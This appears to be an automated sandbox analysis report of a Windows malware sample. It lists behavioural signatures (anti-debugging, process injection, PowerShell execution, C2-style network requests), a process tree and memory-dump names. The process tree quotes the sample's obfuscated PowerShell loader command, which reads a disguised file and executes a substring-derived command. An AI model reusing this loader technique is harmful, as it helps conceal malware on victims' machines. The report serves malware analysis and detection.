Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
25/08/2026, 01:59
General
- Target b6baf782b24cfe8e36dd991d971daef66c281d9c427bb99d37ae3a5014df89c4.exe
- Size 719KB
- Sample260825-cewp7adr2s
- SHA256 b6baf782b24cfe8e36dd991d971daef66c281d9c427bb99d37ae3a5014df89c4
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\b6baf782b24cfe8e36dd991d971daef66c281d9c427bb99d37ae3a5014df89c4.exe"C:\Users\Admin\AppData\Local\Temp\b6baf782b24cfe8e36dd991d971daef66c281d9c427bb99d37ae3a5014df89c4.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Pyloralgia105=GC -raw 'C:\Users\Admin\AppData\Local\Temp\driks\Indkapslingers84\camoufleur.Can';$Tillidsreprsentanterne=$Pyloralgia105.SubString(9985,3);.$Tillidsreprsentanterne($Pyloralgia105)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_bncdns4k.teh.ps1
Opdelingernes.Fis
camoufleur.Can
memory/2096-50-0x00000000078D0000-0x00000000078EE000-memory.dmp
memory/2096-54-0x0000000007A00000-0x0000000007A0A000-memory.dmp
memory/2096-55-0x0000000007A20000-0x0000000007A31000-memory.dmp
memory/2096-23-0x0000000005E60000-0x0000000005EC6000-memory.dmp
memory/2096-20-0x00000000057C0000-0x0000000005DE8000-memory.dmp
memory/2096-31-0x0000000005ED0000-0x0000000006224000-memory.dmp
memory/2096-32-0x0000000006480000-0x000000000649E000-memory.dmp
memory/2096-33-0x00000000064D0000-0x000000000651C000-memory.dmp
memory/2096-34-0x0000000006A00000-0x0000000006A96000-memory.dmp
memory/2096-35-0x00000000069C0000-0x00000000069DA000-memory.dmp
memory/2096-36-0x0000000007480000-0x00000000074A2000-memory.dmp
memory/2096-37-0x0000000007AE0000-0x0000000008084000-memory.dmp
memory/2096-19-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-39-0x0000000008710000-0x0000000008D8A000-memory.dmp
memory/2096-40-0x000000007FB30000-0x000000007FB40000-memory.dmp
memory/2096-41-0x0000000007890000-0x00000000078C2000-memory.dmp
memory/2096-42-0x000000006FBF0000-0x000000006FC3C000-memory.dmp
memory/2096-52-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-51-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-17-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-21-0x0000000005500000-0x0000000005522000-memory.dmp
memory/2096-53-0x0000000007900000-0x00000000079A3000-memory.dmp
memory/2096-22-0x0000000005DF0000-0x0000000005E56000-memory.dmp
memory/2096-56-0x0000000007A70000-0x0000000007A7E000-memory.dmp
memory/2096-57-0x0000000007A80000-0x0000000007A94000-memory.dmp
memory/2096-58-0x0000000007AC0000-0x0000000007ADA000-memory.dmp
memory/2096-59-0x0000000007AB0000-0x0000000007AB8000-memory.dmp
memory/2096-60-0x0000000008200000-0x000000000822A000-memory.dmp
memory/2096-61-0x0000000008230000-0x0000000008254000-memory.dmp
memory/2096-62-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-64-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-18-0x0000000002B60000-0x0000000002B96000-memory.dmp
memory/2096-67-0x0000000008310000-0x0000000008314000-memory.dmp
memory/2096-66-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-68-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-69-0x0000000008D90000-0x000000000E18E000-memory.dmp
memory/2096-70-0x000000007FB30000-0x000000007FB40000-memory.dmp
memory/2096-72-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-71-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-73-0x0000000003130000-0x0000000003140000-memory.dmp
memory/2096-74-0x0000000003130000-0x0000000003140000-memory.dmp
memory/4080-76-0x0000000000C00000-0x0000000001E54000-memory.dmp